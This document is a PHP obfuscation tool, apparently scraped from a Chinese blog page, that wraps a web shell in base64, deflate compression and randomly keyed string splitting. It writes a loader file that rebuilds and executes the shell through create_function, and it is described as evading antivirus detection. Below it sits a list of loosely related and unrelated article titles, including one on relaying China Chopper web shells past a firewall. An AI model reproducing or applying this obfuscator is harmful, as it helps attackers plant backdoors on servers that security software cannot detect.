<?php

/****************************************
*author: L.N.
*blog : [url]http://lanu.sinaapp.com[/url]
*date : 2014.01.03
*****************************************/
$Key = "";
$YourShell = file_get_contents("1.php");
if($YourShell == null){
echo "not find content!";
}
$En_Base64 = base64_encode(gzdeflate($YourShell));
$Lm_File = fopen('lm.php',"a+");
$Lm_YourShell = Encode($En_Base64,2, &$Key);
$Lm_YourShell_Key = $Key;
fwrite($Lm_File,"<?php \n/* code by L.N. [url]http://lanu.sinaapp.com[/url] */\n");
fwrite($Lm_File,'$co ="'.$Lm_YourShell.'";'."\n");
$Lm_Str_Replace = Encode('str_replace', 2, &$Key);
$Lm_Str_Replace_Key = $Key;
fwrite($Lm_File,'$sr = str_replace("'.$Lm_Str_Replace_Key.'","","'.$Lm_Str_Replace.'");'."\n");
$Lm_Base64_Decode = Encode('base64_decode',2, &$Key);
$Lm_Base64_Decode_Key = $Key;
fwrite($Lm_File,'$bd = $sr("'.$Lm_Base64_Decode_Key.'","","'.$Lm_Base64_Decode.'");'."\n");
$Lm_Gzinflate = Encode('gzinflate',2, &$Key);
$Lm_Gzinflate_Key = $Key;
fwrite($Lm_File,'$ge = $sr("'.$Lm_Gzinflate_Key.'","","'.$Lm_Gzinflate.'");'."\n");
$Lm_Create_Cunction = Encode('create_function',2, &$Key);
$Lm_Create_Cunction_Key = $Key;
fwrite($Lm_File,'$cc = $sr("'.$Lm_Create_Cunction_Key.'","","'.$Lm_Create_Cunction.'");'."\n");
fwrite($Lm_File,'$ex = $cc("",$ge($bd($sr("'.$Lm_YourShell_Key.'","",$co))));'."\n");
fwrite($Lm_File,'$ex();'."\n");
fwrite($Lm_File,'?>'."\n");
fclose($Lm_File);
function Encode($Str, $Key_Num, &$Key)
{
do{
$Key = RandString($Key_Num);
}while(strpos($Str, $Key) !== false);
return InsertString($Str,$Key,$Key_Num);
} function RandString($Num)
{
$Str = 'abcdefghijklmnopqrstuvwxyz';
$Out_Str = "";
for($i=0;$i<$Num;$i++)
{
$Rand = rand(0,25);
$Out_Str .= $Str[$Rand];
}
return $Out_Str;
}
function InsertString($Str, $Key, $Key_Num)
{
$Str_Len = strlen($Str);
if(intval($Str_Len/20) >= 5)
{
$Str_Rand_Num = 20;
}
elseif(intval($Str_Len/10) >= 5)
{
$Str_Rand_Num = 10;
}
elseif(intval($Str_Len/5) >= 5)
{
$Str_Rand_Num = 5;
}
else
{
$Str_Rand_Num = 2;
}
$Arr_Str = str_split($Str, $Str_Rand_Num);
if($Key_Num > $Str_Rand_Num)
{
echo "Key_Num is not greater than Str_Rand_Num";exit;
}
for($i=1;$i<count($Arr_Str);$i++)
{
$Check_Str = $Arr_Str[$i-1] . $Key . $Arr_Str[$i];
if(strpos($Check_Str,$Key)<strlen($Arr_Str[$i-1])||strpos(strrev($Check_Str),strrev($Key))<strlen($Arr_Str[$i]))
{
continue;
}
else
{
$Arr_Str[$i-1] .= $Key;
}
}
$Out_Str = implode($Arr_Str);
return $Out_Str;
}
?>

一个PHP加密脚本,达到一定免杀效果的更多相关文章

  1. php中转菜刀脚本过狗免杀

    <?php $target="url";//shell 地址 菜刀连这个脚本做中转 $post=''; $i=0; foreach($_POST AS $K=>$V) ...

  2. 2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践

    2017-2018-2 20155314<网络对抗技术>Exp3 免杀原理与实践 目录 实验要求 实验环境 预备知识 实验步骤 1 免杀效果实测 1.1 恶意代码生成工具 1.2 免杀效果 ...

  3. 20165223《网络对抗技术》Exp3 免杀原理与实践

    目录 -- 免杀原理与实践 免杀原理与实践 本次实验任务 基础知识问答 免杀扫描引擎 实验内容 正确使用msf编码器,msfvenom生成jar等文件,veil-evasion,加壳工具,使用shel ...

  4. 2018-2019-2 网络对抗技术 20165328 Exp3 免杀原理与实践

    一.实验要求: . 实践内容(.5分) .5分),msfvenom生成如jar之类的其他文件(.5分),veil-evasion(.5分),加壳工具(.5分),使用shellcode编程(1分) .5 ...

  5. 2018-2019-2 网络对抗技术 20165323 Exp3 免杀原理与实践

    一.实践内容 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程 1.2 通过组合应用各种技术实现恶意代码免杀 ( ...

  6. 20165214 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5

    <网络对抗技术>Exp3 免杀原理与实践 Week5 一.实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shell ...

  7. 20164301 Exp3 免杀原理与实践

    Exp3 免杀原理与实践  1. 实践内容 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程 1.2 通过组合应 ...

  8. 2018-2019-2 网络对抗技术 20165308 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165308 Exp3 免杀原理与实践 实践内容(3.5分) 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分) ...

  9. 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍

    第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...

随机推荐

  1. centos下cp -r 命令可拷贝文件夹

    LINUX命令的cp -r 和-R的区别 功能上是等价的.不加-r或者-R的时候,只拷贝文件,不拷贝文件夹:加上后则会拷贝文件夹——包括下一级的子文件夹,以及子文件夹中的子文件夹,余此类推.rm的-R ...

  2. 怒刷DP之 HDU 1176

    免费馅饼 Time Limit:1000MS     Memory Limit:32768KB     64bit IO Format:%I64d & %I64u Submit Status  ...

  3. js实现shell排序

    //shell排序配插入排序function shell_insert_sort(arr){ var gap = arr.length; do{ gap = parseInt(gap/3) + 1; ...

  4. 剑指Offer26 字符串的全排列

    /************************************************************************* > File Name: 26_String ...

  5. U3D 飞机大战(MVC模式)解析--面向对象编程思想

    在自己研究U3D游戏的时候,看过一些人的简单的游戏开发视频,写的不错,只是个人是java web 开发的人,所以结合着MVC思想,对游戏开发进行了一番考虑. 如果能把游戏更加的思想化,分工化,开发便明 ...

  6. C++ 单链表的基本算法

    线性表是最简单,最常用的一种数据结构.线性表的逻辑结构是n个数据元素的有限序列(a1,a2,…,an).而线性表的物理结构,我们已经学习过顺序表,也就是数组 :另一种线性表的物理结构——链表 . 什么 ...

  7. 【转载】Asp.net Mvc 入门视频教程

    专辑: http://www.youku.com/playlist_show/id_2416830.html 订阅: http://www.youku.com/playlist/rss/id/2416 ...

  8. 每天一道LeetCode--374. Guess Number Higher or Lower

    We are playing the Guess Game. The game is as follows: I pick a number from 1 to n. You have to gues ...

  9. C# 线程抛异常

    异常抛出 异常抛出要在线程代码中抛出,否则捕获不到 using System; using System.Threading; namespace testthread_keyword_lock { ...

  10. MFC中改变控件的大小和位置

    用CWnd类的函数MoveWindow()或SetWindowPos()可以改变控件的大小和位置. void MoveWindow(int x,int y,int nWidth,int nHeight ...